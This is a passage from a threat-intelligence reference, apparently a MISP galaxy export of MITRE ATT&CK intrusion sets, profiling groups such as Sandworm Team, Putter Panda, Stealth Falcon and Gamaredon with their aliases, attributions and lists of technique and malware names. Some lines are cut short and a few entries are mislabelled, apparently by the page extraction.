uses: misp-galaxy:mitre-attack-pattern="Malware - T1587.001" with estimative-language:likelihood-probability="almost-certain"


uses: misp-galaxy:mitre-malware="AuditCred - S0347" with estimative-language:likelihood-
• uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="SSH - T1021.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="Dacls - S0497" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Clear Command History - T1070.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="RawDisk - S0364" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domains - T1583.001" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-malware="HOPLIGHT - S0376" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Reflective Code Loading - T1620" with estimative-
• uses: misp-galaxy:mitre-malware="Volgmer - S0180" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="netsh - S0108" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Email Accounts - T1585.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Create Process with Token - T1134.002" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:threat-actor="Lazarus Group" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="Password Spraying - T1110.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="External Proxy - T1090.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Email Addresses - T1589.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="WannaCry - S0366" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Indicator Removal - T1070" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="TYPEFRAME - S0263" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with
estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-malware="TANTEDSCRIBE - S0586" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Multi-Stage Channels - T1104" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Internal Defacement - T1491.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="RATANKBA - S0241" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="BADCALL - S0245" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Cryptoistic - S0498" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Responder - S0174" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="KernelCallbackTable - T1574.013" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="HotCroissant - S0431" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Social Media Accounts - T1585.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="HARDRAIN - S0246" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rename System Utilities - T1036.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="route - S0103" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-
• uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="ECCENTRICBANDWAGON - S0593" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Dynamic API Resolution - T1027.007" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Spearphishing via Service - T1566.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Internal Proxy - T1090.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="Dtrack - S0567" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Disk Content Wipe - T1561.001" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-malware="FALLCHILL - S0181" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Shutdown/Reboot - T1529" with estimative-language:likelihood-probability="almost-certain"

Table 6386. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0032">https://attack.mitre.org/groups/G0032</a></td>
</tr>
</tbody>
</table>
Putter Panda - G0024

[Putter Panda](https://attack.mitre.org/groups/G0024) is a Chinese threat group that has been attributed to Unit 61486 of the 12th Bureau of the PLA's 3rd General Staff Department (GSD). (Citation: CrowdStrike Putter Panda)

The tag is: `misp-galaxy:mitre-intrusion-set="Putter Panda - G0024"`

Putter Panda - G0024 is also known as:

- Putter Panda
- APT2
- MSUpdater

**View relationships graph**

Putter Panda - G0024 has relationships with:

- similar: `misp-galaxy:threat-actor="APT2"` with `estimative-language:likelihood-probability="likely"`
- uses: `misp-galaxy:mitre-malware="3PARA RAT - S0066"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-malware="pngdowner - S0067"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-malware="4H RAT - S0065"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-malware="httpclient - S0068"` with `estimative-language:likelihood-probability="almost-certain"`
Scarlet Mimic - G0029

[Scarlet Mimic](https://attack.mitre.org/groups/G0029) is a threat group that has targeted minority rights activists. This group has not been directly linked to a government source, but the group's motivations appear to overlap with those of the Chinese government. While there is some overlap between IP addresses used by [Scarlet Mimic](https://attack.mitre.org/groups/G0029) and [Putter Panda](https://attack.mitre.org/groups/G0024), it has not been concluded that the groups are the same. (Citation: Scarlet Mimic Jan 2016)

The tag is: `misp-galaxy:mitre-intrusion-set="Scarlet Mimic - G0029"`

Scarlet Mimic - G0029 is also known as:

- Scarlet Mimic

View relationships graph

Scarlet Mimic - G0029 has relationships with:

- similar: `misp-galaxy:threat-actor="Scarlet Mimic"` with `estimative-language:likelihood-probability="likely"`
- uses: `misp-galaxy:mitre-malware="MobileOrder - S0079"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-malware="FakeM - S0076"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-malware="Psylo - S0078"` with `estimative-language:likelihood-probability="almost-certain"`

Table 6388. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/">http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/</a></td>
</tr>
</tbody>
</table>
Poseidon Group - G0033

[Poseidon Group](https://attack.mitre.org/groups/G0033) is a Portuguese-speaking threat group that has been active since at least 2005. The group has a history of using information exfiltrated from victims to blackmail victim companies into contracting the [Poseidon Group](https://attack.mitre.org/groups/G0033) as a security firm. (Citation: Kaspersky Poseidon Group)

The tag is: `misp-galaxy:mitre-intrusion-set="Poseidon Group - G0033"`

Poseidon Group - G0033 is also known as:

- Poseidon Group

View relationships graph

Poseidon Group - G0033 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Local Account - T1087.001"` with estimative-language:likelihood-probability="almost-certain"
- similar: `misp-galaxy:threat-actor="Poseidon Group"` with estimative-language:likelihood-probability="likely"

Table 6389. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0033">https://attack.mitre.org/groups/G0033</a></td>
</tr>
</tbody>
</table>
Sandworm Team - G0034

[Sandworm Team](https://attack.mitre.org/groups/G0034) is a destructive threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455. (Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) This group has been active since at least 2009. (Citation: iSIGHT Sandworm 2014)(Citation: CrowdStrike VOODOO BEAR)(Citation: USDOJ Sandworm Feb 2020)(Citation: NCSC Sandworm Feb 2020)

In October 2020, the US indicted six GRU Unit 74455 officers associated with [Sandworm Team](https://attack.mitre.org/groups/G0034) for the following cyber operations: the 2015 and 2016 attacks against Ukrainian electrical companies and government organizations, the 2017 worldwide [NotPetya](https://attack.mitre.org/software/S0368) attack, targeting of the 2017 French presidential campaign, the 2018 [Olympic Destroyer](https://attack.mitre.org/software/S0365) attack against the Winter Olympic Games, the 2018 operation against the Organisation for the Prohibition of Chemical Weapons, and attacks against the country of Georgia in 2018 and 2019. (Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) Some of these were conducted with the assistance of GRU Unit 26165, which is also referred to as [APT28](https://attack.mitre.org/groups/G0007). (Citation: US District Court Indictment GRU Oct 2018)

The tag is: *misp-galaxy:mitre-intrusion-set*="Sandworm Team - G0034"

Sandworm Team - G0034 is also known as:

- Sandworm Team
- ELECTRUM
- Telebots
- IRON VIKING
- BlackEnergy (Group)
- Quedagh
- Voodoo Bear
- IRIDIUM

View relationships graph

Sandworm Team - G0034 has relationships with:

- uses: *misp-galaxy:mitre-tool*="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="Exaramel for Windows - S0343" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Disk Structure Wipe - T1561.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="External Defacement - T1491.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="Exaramel for Linux - S0401" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Search Victim-Owned Websites - T1594" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="Prestige - S1058" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Malware - T1587.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="Impacket - S0357" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Vulnerabilities - T1588.006" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1598.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="Bad Rabbit - S0606" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="GreyEnergy - S0342" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="Olympic Destroyer - S0365" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote Access Software - T1219" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domains - T1583.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="P.A.S. Webshell - S0598" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Email Account - T1087.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="BlackEnergy - S0089" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Vulnerability Scanning - T1595.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="NotPetya - S0368" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Server - T1583.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Email Accounts - T1585.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Email Addresses - T1589.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="Industroyer2 - S1072" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Employee Names - T1589.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Botnet - T1584.005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Trusted Relationship - T1199" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="CHEMISTGAMES - S0555" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Social Media Accounts - T1585.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="Cyclops Blink - S0687" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="Invoke-PSImage - S0231" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Software - T1592.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Compromise Software Supply Chain - T1195.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domain Accounts - T1078.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Endpoint Denial of Service - T1499" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="KillDisk - S0607" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domain Properties - T1590.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="Industroyer - S0604" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"
• similar: misp-galaxy:threat-actor="Sandworm" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 6390. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0034">https://attack.mitre.org/groups/G0034</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.dragos.com/resource/electrum/">https://www.dragos.com/resource/electrum/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/iron-viking">https://www.secureworks.com/research/threat-profiles/iron-viking</a></td>
<td></td>
</tr>
</tbody>
</table>

**Stealth Falcon - G0038**

[Stealth Falcon](https://attack.mitre.org/groups/G0038) is a threat group that has conducted targeted spyware attacks against Emirati journalists, activists, and dissidents since at least 2012. Circumstantial evidence suggests there could be a link between this group and the United Arab Emirates (UAE) government, but that has not been confirmed. (Citation: Citizen Lab Stealth Falcon May 2016)

The tag is: `misp-galaxy:mitre-intrusion-set="Stealth Falcon - G0038"`

Stealth Falcon - G0038 is also known as:

• Stealth Falcon

View relationships graph

Stealth Falcon - G0038 has relationships with:
• uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Credential Manager - T1555.004" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:threat-actor="Stealth Falcon" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

Table 6391. Table References

Links

https://attack.mitre.org/groups/G0038

https://citizenlab.org/2016/05/stealth-falcon/
Winnti Group - G0044

[Winnti Group](https://attack.mitre.org/groups/G0044) is a threat group with Chinese origins that has been active since at least 2010. The group has heavily targeted the gaming industry, but it has also expanded the scope of its targeting. (Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015) (Citation: Novetta Winnti April 2015) Some reporting suggests a number of other groups, including [Axiom](https://attack.mitre.org/groups/G0001), [APT17](https://attack.mitre.org/groups/G0025), and [Ke3chang](https://attack.mitre.org/groups/G0004), are closely linked to [Winnti Group](https://attack.mitre.org/groups/G0044). (Citation: 401 TRG Winnti Umbrella May 2018)

The tag is: `misp-galaxy:mitre-intrusion-set="Winnti Group - G0044"`

Winnti Group - G0044 is also known as:

- Winnti Group
- Blackfly

View relationships graph

Winnti Group - G0044 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domains - T1583.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="PlugX - S0013" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PipeMon - S0501" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="APT17" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6392. Table References

Links
Gamaredon Group - G0047

Gamaredon Group ([Gamaredon Group](https://attack.mitre.org/groups/G0047)) is a suspected Russian cyber espionage threat group that has targeted military, NGO, judiciary, law enforcement, and non-profit organizations in Ukraine since at least 2013. The name [Gamaredon Group](https://attack.mitre.org/groups/G0047) comes from a misspelling of the word "Armageddon", which was detected in the adversary's early campaigns.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)(Citation: Symantec Shuckworm January 2022)(Citation: Microsoft Actinium February 2022)

In November 2021, the Ukrainian government publicly attributed [Gamaredon Group](https://attack.mitre.org/groups/G0047) to Russia's Federal Security Service (FSB) Center 18.(Citation: Bleepingcomputer Gamardeon FSB November 2021)(Citation: Microsoft Actinium February 2022)

The tag is: *misp-galaxy:mitre-intrusion-set="Gamaredon Group - G0047"*

Gamaredon Group - G0047 is also known as:

- Gamaredon Group
- IRON TILDEN
- Primitive Bear
- ACTINIUM
- Armageddon
- Shuckworm
- DEV-0157

View relationships graph

Gamaredon Group - G0047 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"*
